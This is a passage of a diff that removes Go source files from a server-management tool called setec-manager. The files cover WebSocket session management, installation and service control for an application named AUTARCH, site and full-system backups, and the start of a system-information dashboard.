|
|
||||||
// with the live WebSocket connection reference.
|
|
||||||
type Session struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
UserID int64 `json:"user_id"`
|
|
||||||
ClientIP string `json:"client_ip"`
|
|
||||||
ClientAgent string `json:"client_agent"`
|
|
||||||
USBBridge bool `json:"usb_bridge"`
|
|
||||||
ConnectedAt time.Time `json:"connected_at"`
|
|
||||||
ExpiresAt time.Time `json:"expires_at"`
|
|
||||||
LastPing *time.Time `json:"last_ping,omitempty"`
|
|
||||||
conn *websocket.Conn
|
|
||||||
}
|
|
||||||
|
|
||||||
// SessionManager provides in-memory + database-backed session lifecycle
|
|
||||||
// management for Float Mode connections.
|
|
||||||
type SessionManager struct {
|
|
||||||
sessions map[string]*Session
|
|
||||||
mu sync.RWMutex
|
|
||||||
db *db.DB
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewSessionManager creates a new SessionManager backed by the given database.
|
|
||||||
func NewSessionManager(database *db.DB) *SessionManager {
|
|
||||||
return &SessionManager{
|
|
||||||
sessions: make(map[string]*Session),
|
|
||||||
db: database,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create generates a new Float session with a random UUID, storing it in both
|
|
||||||
// the in-memory map and the database.
|
|
||||||
func (sm *SessionManager) Create(userID int64, clientIP, agent string, ttl time.Duration) (string, error) {
|
|
||||||
id := uuid.New().String()
|
|
||||||
now := time.Now()
|
|
||||||
expiresAt := now.Add(ttl)
|
|
||||||
|
|
||||||
session := &Session{
|
|
||||||
ID: id,
|
|
||||||
UserID: userID,
|
|
||||||
ClientIP: clientIP,
|
|
||||||
ClientAgent: agent,
|
|
||||||
ConnectedAt: now,
|
|
||||||
ExpiresAt: expiresAt,
|
|
||||||
}
|
|
||||||
|
|
||||||
// Persist to database first
|
|
||||||
if err := sm.db.CreateFloatSession(id, userID, clientIP, agent, expiresAt); err != nil {
|
|
||||||
return "", fmt.Errorf("create session: db insert: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Store in memory
|
|
||||||
sm.mu.Lock()
|
|
||||||
sm.sessions[id] = session
|
|
||||||
sm.mu.Unlock()
|
|
||||||
|
|
||||||
log.Printf("[float/session] created session %s for user %d from %s (expires %s)",
|
|
||||||
id, userID, clientIP, expiresAt.Format(time.RFC3339))
|
|
||||||
|
|
||||||
return id, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get retrieves a session by ID, checking the in-memory cache first, then
|
|
||||||
// falling back to the database. Returns nil and an error if not found.
|
|
||||||
func (sm *SessionManager) Get(id string) (*Session, error) {
|
|
||||||
// Check memory first
|
|
||||||
sm.mu.RLock()
|
|
||||||
if sess, ok := sm.sessions[id]; ok {
|
|
||||||
sm.mu.RUnlock()
|
|
||||||
// Check if expired
|
|
||||||
if time.Now().After(sess.ExpiresAt) {
|
|
||||||
sm.Delete(id)
|
|
||||||
return nil, fmt.Errorf("session %s has expired", id)
|
|
||||||
}
|
|
||||||
return sess, nil
|
|
||||||
}
|
|
||||||
sm.mu.RUnlock()
|
|
||||||
|
|
||||||
// Fall back to database
|
|
||||||
dbSess, err := sm.db.GetFloatSession(id)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("get session: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if expired
|
|
||||||
if time.Now().After(dbSess.ExpiresAt) {
|
|
||||||
sm.db.DeleteFloatSession(id)
|
|
||||||
return nil, fmt.Errorf("session %s has expired", id)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Hydrate into memory
|
|
||||||
session := &Session{
|
|
||||||
ID: dbSess.ID,
|
|
||||||
UserID: dbSess.UserID,
|
|
||||||
ClientIP: dbSess.ClientIP,
|
|
||||||
ClientAgent: dbSess.ClientAgent,
|
|
||||||
USBBridge: dbSess.USBBridge,
|
|
||||||
ConnectedAt: dbSess.ConnectedAt,
|
|
||||||
ExpiresAt: dbSess.ExpiresAt,
|
|
||||||
LastPing: dbSess.LastPing,
|
|
||||||
}
|
|
||||||
|
|
||||||
sm.mu.Lock()
|
|
||||||
sm.sessions[id] = session
|
|
||||||
sm.mu.Unlock()
|
|
||||||
|
|
||||||
return session, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Delete removes a session from both the in-memory map and the database.
|
|
||||||
func (sm *SessionManager) Delete(id string) error {
|
|
||||||
sm.mu.Lock()
|
|
||||||
sess, ok := sm.sessions[id]
|
|
||||||
if ok {
|
|
||||||
// Close the WebSocket connection if it exists
|
|
||||||
if sess.conn != nil {
|
|
||||||
sess.conn.WriteControl(
|
|
||||||
websocket.CloseMessage,
|
|
||||||
websocket.FormatCloseMessage(websocket.CloseNormalClosure, "session deleted"),
|
|
||||||
time.Now().Add(5*time.Second),
|
|
||||||
)
|
|
||||||
sess.conn.Close()
|
|
||||||
}
|
|
||||||
delete(sm.sessions, id)
|
|
||||||
}
|
|
||||||
sm.mu.Unlock()
|
|
||||||
|
|
||||||
if err := sm.db.DeleteFloatSession(id); err != nil {
|
|
||||||
return fmt.Errorf("delete session: db delete: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("[float/session] deleted session %s", id)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ping updates the last-ping timestamp for a session in both memory and DB.
|
|
||||||
func (sm *SessionManager) Ping(id string) error {
|
|
||||||
now := time.Now()
|
|
||||||
|
|
||||||
sm.mu.Lock()
|
|
||||||
if sess, ok := sm.sessions[id]; ok {
|
|
||||||
sess.LastPing = &now
|
|
||||||
}
|
|
||||||
sm.mu.Unlock()
|
|
||||||
|
|
||||||
if err := sm.db.PingFloatSession(id); err != nil {
|
|
||||||
return fmt.Errorf("ping session: %w", err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// CleanExpired removes all sessions that have passed their expiry time.
|
|
||||||
// Returns the number of sessions removed.
|
|
||||||
func (sm *SessionManager) CleanExpired() (int, error) {
|
|
||||||
now := time.Now()
|
|
||||||
|
|
||||||
// Clean from memory
|
|
||||||
sm.mu.Lock()
|
|
||||||
var expiredIDs []string
|
|
||||||
for id, sess := range sm.sessions {
|
|
||||||
if now.After(sess.ExpiresAt) {
|
|
||||||
expiredIDs = append(expiredIDs, id)
|
|
||||||
if sess.conn != nil {
|
|
||||||
sess.conn.WriteControl(
|
|
||||||
websocket.CloseMessage,
|
|
||||||
websocket.FormatCloseMessage(websocket.CloseNormalClosure, "session expired"),
|
|
||||||
now.Add(5*time.Second),
|
|
||||||
)
|
|
||||||
sess.conn.Close()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for _, id := range expiredIDs {
|
|
||||||
delete(sm.sessions, id)
|
|
||||||
}
|
|
||||||
sm.mu.Unlock()
|
|
||||||
|
|
||||||
// Clean from database
|
|
||||||
count, err := sm.db.CleanExpiredFloatSessions()
|
|
||||||
if err != nil {
|
|
||||||
return len(expiredIDs), fmt.Errorf("clean expired: db: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
total := int(count)
|
|
||||||
if total > 0 {
|
|
||||||
log.Printf("[float/session] cleaned %d expired sessions", total)
|
|
||||||
}
|
|
||||||
|
|
||||||
return total, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ActiveCount returns the number of sessions currently in the in-memory map.
|
|
||||||
func (sm *SessionManager) ActiveCount() int {
|
|
||||||
sm.mu.RLock()
|
|
||||||
defer sm.mu.RUnlock()
|
|
||||||
return len(sm.sessions)
|
|
||||||
}
|
|
||||||
|
|
||||||
// SetConn associates a WebSocket connection with a session.
|
|
||||||
func (sm *SessionManager) SetConn(id string, conn *websocket.Conn) {
|
|
||||||
sm.mu.Lock()
|
|
||||||
if sess, ok := sm.sessions[id]; ok {
|
|
||||||
sess.conn = conn
|
|
||||||
sess.USBBridge = true
|
|
||||||
}
|
|
||||||
sm.mu.Unlock()
|
|
||||||
}
|
|
||||||
|
|
||||||
// List returns all active (non-expired) sessions from the database.
|
|
||||||
func (sm *SessionManager) List() ([]Session, error) {
|
|
||||||
dbSessions, err := sm.db.ListFloatSessions()
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("list sessions: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
sessions := make([]Session, 0, len(dbSessions))
|
|
||||||
for _, dbs := range dbSessions {
|
|
||||||
if time.Now().After(dbs.ExpiresAt) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
sessions = append(sessions, Session{
|
|
||||||
ID: dbs.ID,
|
|
||||||
UserID: dbs.UserID,
|
|
||||||
ClientIP: dbs.ClientIP,
|
|
||||||
ClientAgent: dbs.ClientAgent,
|
|
||||||
USBBridge: dbs.USBBridge,
|
|
||||||
ConnectedAt: dbs.ConnectedAt,
|
|
||||||
ExpiresAt: dbs.ExpiresAt,
|
|
||||||
LastPing: dbs.LastPing,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return sessions, nil
|
|
||||||
}
|
|
||||||
@ -1,272 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"setec-manager/internal/deploy"
|
|
||||||
)
|
|
||||||
|
|
||||||
type autarchStatus struct {
|
|
||||||
Installed bool `json:"installed"`
|
|
||||||
InstallDir string `json:"install_dir"`
|
|
||||||
GitCommit string `json:"git_commit"`
|
|
||||||
VenvReady bool `json:"venv_ready"`
|
|
||||||
PipPackages int `json:"pip_packages"`
|
|
||||||
WebRunning bool `json:"web_running"`
|
|
||||||
WebStatus string `json:"web_status"`
|
|
||||||
DNSRunning bool `json:"dns_running"`
|
|
||||||
DNSStatus string `json:"dns_status"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchStatus(w http.ResponseWriter, r *http.Request) {
|
|
||||||
status := h.getAutarchStatus()
|
|
||||||
h.render(w, "autarch.html", status)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchStatusAPI(w http.ResponseWriter, r *http.Request) {
|
|
||||||
writeJSON(w, http.StatusOK, h.getAutarchStatus())
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) getAutarchStatus() autarchStatus {
|
|
||||||
dir := h.Config.Autarch.InstallDir
|
|
||||||
status := autarchStatus{InstallDir: dir}
|
|
||||||
|
|
||||||
// Check if installed
|
|
||||||
if _, err := os.Stat(filepath.Join(dir, ".git")); err == nil {
|
|
||||||
status.Installed = true
|
|
||||||
}
|
|
||||||
|
|
||||||
// Git commit
|
|
||||||
if hash, message, err := deploy.CurrentCommit(dir); err == nil {
|
|
||||||
status.GitCommit = hash + " " + message
|
|
||||||
}
|
|
||||||
|
|
||||||
// Venv
|
|
||||||
status.VenvReady = deploy.VenvExists(dir)
|
|
||||||
|
|
||||||
// Pip packages
|
|
||||||
venvDir := filepath.Join(dir, "venv")
|
|
||||||
if pkgs, err := deploy.ListPackages(venvDir); err == nil {
|
|
||||||
status.PipPackages = len(pkgs)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Web service
|
|
||||||
webActive, _ := deploy.IsActive("autarch-web")
|
|
||||||
status.WebRunning = webActive
|
|
||||||
if webActive {
|
|
||||||
status.WebStatus = "active"
|
|
||||||
} else {
|
|
||||||
status.WebStatus = "inactive"
|
|
||||||
}
|
|
||||||
|
|
||||||
// DNS service
|
|
||||||
dnsActive, _ := deploy.IsActive("autarch-dns")
|
|
||||||
status.DNSRunning = dnsActive
|
|
||||||
if dnsActive {
|
|
||||||
status.DNSStatus = "active"
|
|
||||||
} else {
|
|
||||||
status.DNSStatus = "inactive"
|
|
||||||
}
|
|
||||||
|
|
||||||
return status
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchInstall(w http.ResponseWriter, r *http.Request) {
|
|
||||||
dir := h.Config.Autarch.InstallDir
|
|
||||||
repo := h.Config.Autarch.GitRepo
|
|
||||||
branch := h.Config.Autarch.GitBranch
|
|
||||||
|
|
||||||
if _, err := os.Stat(filepath.Join(dir, ".git")); err == nil {
|
|
||||||
writeError(w, http.StatusConflict, "AUTARCH already installed at "+dir)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
depID, _ := h.DB.CreateDeployment(nil, "autarch_install")
|
|
||||||
var output strings.Builder
|
|
||||||
|
|
||||||
steps := []struct {
|
|
||||||
label string
|
|
||||||
fn func() error
|
|
||||||
}{
|
|
||||||
{"Clone from GitHub", func() error {
|
|
||||||
os.MkdirAll(filepath.Dir(dir), 0755)
|
|
||||||
out, err := deploy.Clone(repo, branch, dir)
|
|
||||||
output.WriteString(out)
|
|
||||||
return err
|
|
||||||
}},
|
|
||||||
{"Create Python venv", func() error {
|
|
||||||
return deploy.CreateVenv(dir)
|
|
||||||
}},
|
|
||||||
{"Upgrade pip", func() error {
|
|
||||||
venvDir := filepath.Join(dir, "venv")
|
|
||||||
deploy.UpgradePip(venvDir)
|
|
||||||
return nil
|
|
||||||
}},
|
|
||||||
{"Install pip packages", func() error {
|
|
||||||
reqFile := filepath.Join(dir, "requirements.txt")
|
|
||||||
if _, err := os.Stat(reqFile); err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
venvDir := filepath.Join(dir, "venv")
|
|
||||||
out, err := deploy.InstallRequirements(venvDir, reqFile)
|
|
||||||
output.WriteString(out)
|
|
||||||
return err
|
|
||||||
}},
|
|
||||||
{"Install npm packages", func() error {
|
|
||||||
out, _ := deploy.NpmInstall(dir)
|
|
||||||
output.WriteString(out)
|
|
||||||
return nil
|
|
||||||
}},
|
|
||||||
{"Set permissions", func() error {
|
|
||||||
exec.Command("chown", "-R", "root:root", dir).Run()
|
|
||||||
exec.Command("chmod", "-R", "755", dir).Run()
|
|
||||||
for _, d := range []string{"data", "data/certs", "data/dns", "results", "dossiers", "models"} {
|
|
||||||
os.MkdirAll(filepath.Join(dir, d), 0755)
|
|
||||||
}
|
|
||||||
confPath := filepath.Join(dir, "autarch_settings.conf")
|
|
||||||
if _, err := os.Stat(confPath); err == nil {
|
|
||||||
exec.Command("chmod", "600", confPath).Run()
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}},
|
|
||||||
{"Install systemd units", func() error {
|
|
||||||
h.installAutarchUnits(dir)
|
|
||||||
return nil
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, step := range steps {
|
|
||||||
output.WriteString(fmt.Sprintf("\n=== %s ===\n", step.label))
|
|
||||||
if err := step.fn(); err != nil {
|
|
||||||
h.DB.FinishDeployment(depID, "failed", output.String())
|
|
||||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("%s failed: %v", step.label, err))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
h.DB.FinishDeployment(depID, "success", output.String())
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "installed"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchUpdate(w http.ResponseWriter, r *http.Request) {
|
|
||||||
dir := h.Config.Autarch.InstallDir
|
|
||||||
|
|
||||||
depID, _ := h.DB.CreateDeployment(nil, "autarch_update")
|
|
||||||
var output strings.Builder
|
|
||||||
|
|
||||||
// Git pull
|
|
||||||
out, err := deploy.Pull(dir)
|
|
||||||
output.WriteString(out)
|
|
||||||
if err != nil {
|
|
||||||
h.DB.FinishDeployment(depID, "failed", output.String())
|
|
||||||
writeError(w, http.StatusInternalServerError, "git pull failed")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reinstall pip packages
|
|
||||||
reqFile := filepath.Join(dir, "requirements.txt")
|
|
||||||
if _, err := os.Stat(reqFile); err == nil {
|
|
||||||
venvDir := filepath.Join(dir, "venv")
|
|
||||||
pipOut, _ := deploy.InstallRequirements(venvDir, reqFile)
|
|
||||||
output.WriteString(pipOut)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Restart services
|
|
||||||
deploy.Restart("autarch-web")
|
|
||||||
deploy.Restart("autarch-dns")
|
|
||||||
|
|
||||||
h.DB.FinishDeployment(depID, "success", output.String())
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "updated"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchStart(w http.ResponseWriter, r *http.Request) {
|
|
||||||
deploy.Start("autarch-web")
|
|
||||||
deploy.Start("autarch-dns")
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "started"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchStop(w http.ResponseWriter, r *http.Request) {
|
|
||||||
deploy.Stop("autarch-web")
|
|
||||||
deploy.Stop("autarch-dns")
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "stopped"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchRestart(w http.ResponseWriter, r *http.Request) {
|
|
||||||
deploy.Restart("autarch-web")
|
|
||||||
deploy.Restart("autarch-dns")
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "restarted"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchConfig(w http.ResponseWriter, r *http.Request) {
|
|
||||||
confPath := filepath.Join(h.Config.Autarch.InstallDir, "autarch_settings.conf")
|
|
||||||
data, err := os.ReadFile(confPath)
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusNotFound, "config not found")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"config": string(data)})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchConfigUpdate(w http.ResponseWriter, r *http.Request) {
|
|
||||||
var body struct {
|
|
||||||
Config string `json:"config"`
|
|
||||||
}
|
|
||||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
||||||
writeError(w, http.StatusBadRequest, "invalid body")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
confPath := filepath.Join(h.Config.Autarch.InstallDir, "autarch_settings.conf")
|
|
||||||
if err := os.WriteFile(confPath, []byte(body.Config), 0600); err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "saved"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) AutarchDNSBuild(w http.ResponseWriter, r *http.Request) {
|
|
||||||
dnsDir := filepath.Join(h.Config.Autarch.InstallDir, "services", "dns-server")
|
|
||||||
|
|
||||||
depID, _ := h.DB.CreateDeployment(nil, "dns_build")
|
|
||||||
|
|
||||||
cmd := exec.Command("go", "build", "-o", "autarch-dns", ".")
|
|
||||||
cmd.Dir = dnsDir
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
h.DB.FinishDeployment(depID, "failed", string(out))
|
|
||||||
writeError(w, http.StatusInternalServerError, "build failed: "+string(out))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
h.DB.FinishDeployment(depID, "success", string(out))
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "built"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) installAutarchUnits(dir string) {
|
|
||||||
webUnit := deploy.GenerateUnit(deploy.UnitConfig{
|
|
||||||
Name: "autarch-web",
|
|
||||||
Description: "AUTARCH Web Dashboard",
|
|
||||||
ExecStart: filepath.Join(dir, "venv", "bin", "python3") + " " + filepath.Join(dir, "autarch_web.py"),
|
|
||||||
WorkingDirectory: dir,
|
|
||||||
User: "root",
|
|
||||||
Environment: map[string]string{"PYTHONUNBUFFERED": "1"},
|
|
||||||
})
|
|
||||||
|
|
||||||
dnsUnit := deploy.GenerateUnit(deploy.UnitConfig{
|
|
||||||
Name: "autarch-dns",
|
|
||||||
Description: "AUTARCH DNS Server",
|
|
||||||
ExecStart: filepath.Join(dir, "services", "dns-server", "autarch-dns") + " --config " + filepath.Join(dir, "data", "dns", "config.json"),
|
|
||||||
WorkingDirectory: dir,
|
|
||||||
User: "root",
|
|
||||||
})
|
|
||||||
|
|
||||||
deploy.InstallUnit("autarch-web", webUnit)
|
|
||||||
deploy.InstallUnit("autarch-dns", dnsUnit)
|
|
||||||
}
|
|
||||||
@ -1,146 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (h *Handler) BackupList(w http.ResponseWriter, r *http.Request) {
|
|
||||||
backups, err := h.DB.ListBackups()
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if acceptsJSON(r) {
|
|
||||||
writeJSON(w, http.StatusOK, backups)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
h.render(w, "backups.html", backups)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) BackupSite(w http.ResponseWriter, r *http.Request) {
|
|
||||||
id, err := paramInt(r, "id")
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusBadRequest, "invalid id")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
site, err := h.DB.GetSite(id)
|
|
||||||
if err != nil || site == nil {
|
|
||||||
writeError(w, http.StatusNotFound, "site not found")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create backup directory
|
|
||||||
backupDir := h.Config.Backups.Dir
|
|
||||||
os.MkdirAll(backupDir, 0755)
|
|
||||||
|
|
||||||
timestamp := time.Now().Format("20060102-150405")
|
|
||||||
filename := fmt.Sprintf("site-%s-%s.tar.gz", site.Domain, timestamp)
|
|
||||||
backupPath := filepath.Join(backupDir, filename)
|
|
||||||
|
|
||||||
// Create tar.gz
|
|
||||||
cmd := exec.Command("tar", "-czf", backupPath, "-C", filepath.Dir(site.AppRoot), filepath.Base(site.AppRoot))
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("backup failed: %s", string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get file size
|
|
||||||
info, _ := os.Stat(backupPath)
|
|
||||||
size := int64(0)
|
|
||||||
if info != nil {
|
|
||||||
size = info.Size()
|
|
||||||
}
|
|
||||||
|
|
||||||
bID, _ := h.DB.CreateBackup(&id, "site", backupPath, size)
|
|
||||||
writeJSON(w, http.StatusCreated, map[string]interface{}{
|
|
||||||
"id": bID,
|
|
||||||
"path": backupPath,
|
|
||||||
"size": size,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) BackupFull(w http.ResponseWriter, r *http.Request) {
|
|
||||||
backupDir := h.Config.Backups.Dir
|
|
||||||
os.MkdirAll(backupDir, 0755)
|
|
||||||
|
|
||||||
timestamp := time.Now().Format("20060102-150405")
|
|
||||||
filename := fmt.Sprintf("full-system-%s.tar.gz", timestamp)
|
|
||||||
backupPath := filepath.Join(backupDir, filename)
|
|
||||||
|
|
||||||
// Backup key directories
|
|
||||||
dirs := []string{
|
|
||||||
h.Config.Nginx.Webroot,
|
|
||||||
"/etc/nginx",
|
|
||||||
"/opt/setec-manager/data",
|
|
||||||
}
|
|
||||||
|
|
||||||
args := []string{"-czf", backupPath}
|
|
||||||
for _, d := range dirs {
|
|
||||||
if _, err := os.Stat(d); err == nil {
|
|
||||||
args = append(args, d)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command("tar", args...)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("backup failed: %s", string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
info, _ := os.Stat(backupPath)
|
|
||||||
size := int64(0)
|
|
||||||
if info != nil {
|
|
||||||
size = info.Size()
|
|
||||||
}
|
|
||||||
|
|
||||||
bID, _ := h.DB.CreateBackup(nil, "full", backupPath, size)
|
|
||||||
writeJSON(w, http.StatusCreated, map[string]interface{}{
|
|
||||||
"id": bID,
|
|
||||||
"path": backupPath,
|
|
||||||
"size": size,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) BackupDelete(w http.ResponseWriter, r *http.Request) {
|
|
||||||
id, err := paramInt(r, "id")
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusBadRequest, "invalid id")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get backup info to delete file
|
|
||||||
var filePath string
|
|
||||||
h.DB.Conn().QueryRow(`SELECT file_path FROM backups WHERE id=?`, id).Scan(&filePath)
|
|
||||||
if filePath != "" {
|
|
||||||
os.Remove(filePath)
|
|
||||||
}
|
|
||||||
|
|
||||||
h.DB.DeleteBackup(id)
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) BackupDownload(w http.ResponseWriter, r *http.Request) {
|
|
||||||
id, err := paramInt(r, "id")
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusBadRequest, "invalid id")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var filePath string
|
|
||||||
h.DB.Conn().QueryRow(`SELECT file_path FROM backups WHERE id=?`, id).Scan(&filePath)
|
|
||||||
if filePath == "" {
|
|
||||||
writeError(w, http.StatusNotFound, "backup not found")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", filepath.Base(filePath)))
|
|
||||||
http.ServeFile(w, r, filePath)
|
|
||||||
}
|
|
||||||
@ -1,151 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"net/http"
|
|
||||||
"os/exec"
|
|
||||||
"runtime"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"setec-manager/internal/deploy"
|
|
||||||
"setec-manager/internal/system"
|
|
||||||
)
|
|
||||||
|
|
||||||
type systemInfo struct {
|
|
||||||
Hostname string `json:"hostname"`
|
|
||||||
OS string `json:"os"`
|
|
||||||
Arch string `json:"arch"`
|
|
||||||
CPUs int `json:"cpus"`
|
|
||||||
Uptime string `json:"uptime"`
|
|
||||||
LoadAvg string `json:"load_avg"`
|
|
||||||
MemTotal string `json:"mem_total"`
|
|
||||||
MemUsed string `json:"mem_used"`
|
|
||||||
MemPercent float64 `json:"mem_percent"`
|
|
||||||
DiskTotal string `json:"disk_total"`
|
|
||||||
DiskUsed string `json:"disk_used"`
|
|
||||||
DiskPercent float64 `json:"disk_percent"`
|
|
||||||
SiteCount int `json:"site_count"`
|
|
||||||
Services []serviceInfo `json:"services"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type serviceInfo struct {
|
|
||||||
Name string `json:"name"`
|
|
||||||
Status string `json:"status"`
|
|
||||||
Running bool `json:"running"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) Dashboard(w http.ResponseWriter, r *http.Request) {
|
|
||||||
info := h.gatherSystemInfo()
|
|
||||||
h.render(w, "dashboard.html", info)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) SystemInfo(w http.ResponseWriter, r *http.Request) {
|
|
||||||
writeJSON(w, http.StatusOK, h.gatherSystemInfo())
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) gatherSystemInfo() systemInfo {
|
|
||||||
info := systemInfo{
|
|
||||||
OS: runtime.GOOS,
|
|
||||||
Arch: runtime.GOARCH,
|
|
||||||
CPUs: runtime.NumCPU(),
|
|
||||||
}
|
|
||||||
|
|
||||||
// Hostname — no wrapper, keep exec.Command
|
|
||||||
if out, err := exec.Command("hostname").Output(); err == nil {
|
|
||||||
info.Hostname = strings.TrimSpace(string(out))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Uptime
|
|
||||||
if ut, err := system.GetUptime(); err == nil {
|
|
||||||
info.Uptime = "up " + ut.HumanReadable
|
|
||||||
}
|
|
||||||
|
|
||||||
// Load average
|
|
||||||
if la, err := system.GetLoadAvg(); err == nil {
|
|
||||||
info.LoadAvg = fmt.Sprintf("%.2f %.2f %.2f", la.Load1, la.Load5, la.Load15)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Memory
|
|
||||||
if mem, err := system.GetMemory(); err == nil {
|
|
||||||
info.MemTotal = mem.Total
|
|
||||||
info.MemUsed = mem.Used
|
|
||||||
if mem.TotalBytes > 0 {
|
|
||||||
info.MemPercent = float64(mem.UsedBytes) / float64(mem.TotalBytes) * 100
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Disk — find the root mount from the disk list
|
|
||||||
if disks, err := system.GetDisk(); err == nil {
|
|
||||||
for _, d := range disks {
|
|
||||||
if d.MountPoint == "/" {
|
|
||||||
info.DiskTotal = d.Size
|
|
||||||
info.DiskUsed = d.Used
|
|
||||||
pct := strings.TrimSuffix(d.UsePercent, "%")
|
|
||||||
info.DiskPercent, _ = strconv.ParseFloat(pct, 64)
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// If no root mount found but we have disks, use the first one
